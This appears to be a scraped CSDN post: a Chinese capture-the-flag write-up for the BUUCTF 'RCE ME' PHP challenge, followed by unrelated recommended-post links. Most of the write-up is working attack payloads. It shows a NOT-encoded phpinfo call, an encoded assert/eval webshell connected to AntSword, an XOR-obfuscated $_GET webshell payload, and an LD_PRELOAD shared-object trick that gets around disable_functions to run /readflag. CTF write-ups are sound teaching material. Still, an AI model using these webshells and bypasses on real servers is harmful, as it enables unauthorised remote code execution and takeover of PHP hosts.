这题和我这篇文章内容相关:关于PHP正则的一些绕过方法
绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,我上面那篇文章里面的也可以,我这里直接用取反urlencode编码绕过

PS C:\Users\Administrator> php -r "echo urlencode(~'phpinfo');"
%8F%97%8F%96%91%99%90
PS C:\Users\Administrator> payload: ?code=(~%8F%97%8F%96%91%99%90)();

成功绕过之后发现,这个disable_functions禁用的系统函数有点多

禁用的函数:
pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl

先构造一个shell连上蚁剑

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;?>


payload:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);

检验shell有效


上蚁剑


需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令

利用linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
参考链接:https://www.anquanke.com/post/id/175403
EXP地址

在/var/tmp/目录存在上传权限,上传我们的exp

然后需要重新再构造一下payload,我这就直接用网上的异或payload:

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])


即为

?code=${_GET}[_](${_GET}[_]);&_=assert&_=eval($_POST['a'])

包含我们的exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

执行得到flag

BUUCTF:[极客大挑战 2019]RCE ME相关推荐

  1. BUUCTF [极客大挑战 2019] PHP

    BUUCTF [极客大挑战 2019] PHP 启动靶机,打开页面: 提示为备份,尝试使用脚本扫描备份文件: Python备份文件扫描脚本参考本篇文章 判断应该存在备份文件:www.zip 下载得到源 ...

  2. [极客大挑战 2019]RCE ME 1

    [极客大挑战 2019]RCE ME 1 首先打开题目得到: 发现是代码审计 传入的code不能大于40 并且不能包含a到z的大小写字符和1到10的数字 我们可以通过不在这个字符集里的字符进行绕过 可 ...

  3. BUUCTF——[极客大挑战 2019]Havefun 1

    这道题是19年的极客挑战的题,这道题整体来说,额,很简单,而且这个猫猫感觉好乖哦~!好了,进入环境 进入环境后可以看见这个界面,啧,说实话感觉没啥用,因为什么有用的价值都没有,所以老规矩,看一下它的源 ...

  4. 【BUUCTF】[极客大挑战 2019]RCE ME

    源码 <?php error_reporting(0); if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40) ...

  5. [极客大挑战 2019]RCE ME

    知识点 无字母数字RCE 绕过disable_functions WP 首先进入环境审一下代码: <?php error_reporting(0); if(isset($_GET['code'] ...

  6. [BUUCTF][极客大挑战 2019]Http

    思路 浏览网站发现没什么地方可以点的,那就检查元素发现可疑路径 添加Referer头 修改UA 添加XFF头 总结 在CTF中修改http头的操作常有BUUCFT另一题,常用到的值 X-Forward ...

  7. buuctf [极客大挑战 2019]Http1

    目录 知识点补充: 请求行 请求头 请求体 解题过程 知识点补充: 这道题,主要是对于http请求报文的考察.(参考(37条消息) http请求报文详解_石硕页的博客-CSDN博客_http请求报文) ...

  8. BUUCTF:[极客大挑战 2019]Havefun

    1.F12后将源码翻到底,发现GET: 2.传入?cat=dog: 3.获得flag.

  9. BUUCTF [极客大挑战 2019]LoveSQL 1

    #和- - 表示注释,url中的#号是用来指导浏览器动作的,对服务器端无用.所以http请求中不包括#,因此使用#无法表示注入,- -(空格)在传输过程中空格会被忽略,导致无法注释 可以使用–+的方式 ...

最新文章

  1. 解锁新姿势 |如何利用配置中心规范构建PaaS服务配置
  2. 中国科技大学校长朱清时:我的两次“错误”选择
  3. 点击链接如何直接跳转到相对应的聊天窗口
  4. Pandas最详细教程来了!
  5. FPGA、DSP、ARM能力值对比
  6. 使用react写cNode项目初期------环境的配置
  7. OKR工作法学习心得
  8. puts 和 printf %s
  9. 2021最新 python爬取12306列车信息自动抢票并自动识别验证码(三)购票篇
  10. 【便签纸】记录一次Linux服务器上通过sftp上传文件时的错误
  11. Kafka SASL/PLAIN加密 及Kafka-Python整合
  12. assaasasas
  13. IT管理体系——战略、管理和服务
  14. MATLAB下载遇到的问题:弹出DVD1并插入DVD2
  15. 深度学习目标检测---使用yolov5训练自己的数据集模型(Windows系统)
  16. 人工神经网络 :模糊神经网络
  17. c#中如何将一维数组转换为字符串
  18. ubuntu ufw firewall防火墙端口设置 (防火墙的的开启、禁用、开放端口、关闭端口、重置、重启...)
  19. MySQL21个表设计的经验准则(上)
  20. 箩筐与比亚迪建立合作伙伴关系;空气产品与沙特50亿美元建世界级绿色氢工厂 | 美通企业日报...

热门文章

  1. 书法教学视频,轻轻松松练好书法!
  2. windows 10/11 多用户同时远程登陆
  3. ERP系统-销售子系统-销售物料报表
  4. 解决ubuntu能登录但没有桌面图标的问题
  5. 中继器·集线器·网桥·交换机·路由器·网关的区别
  6. mpvue PDF文件预览
  7. linux解压zip同时重命名文件
  8. python中find函数的使用方法_python find()用法
  9. 招商银行青岛分行金融科技岗招录
  10. 【What if 系列】纸质版维基百科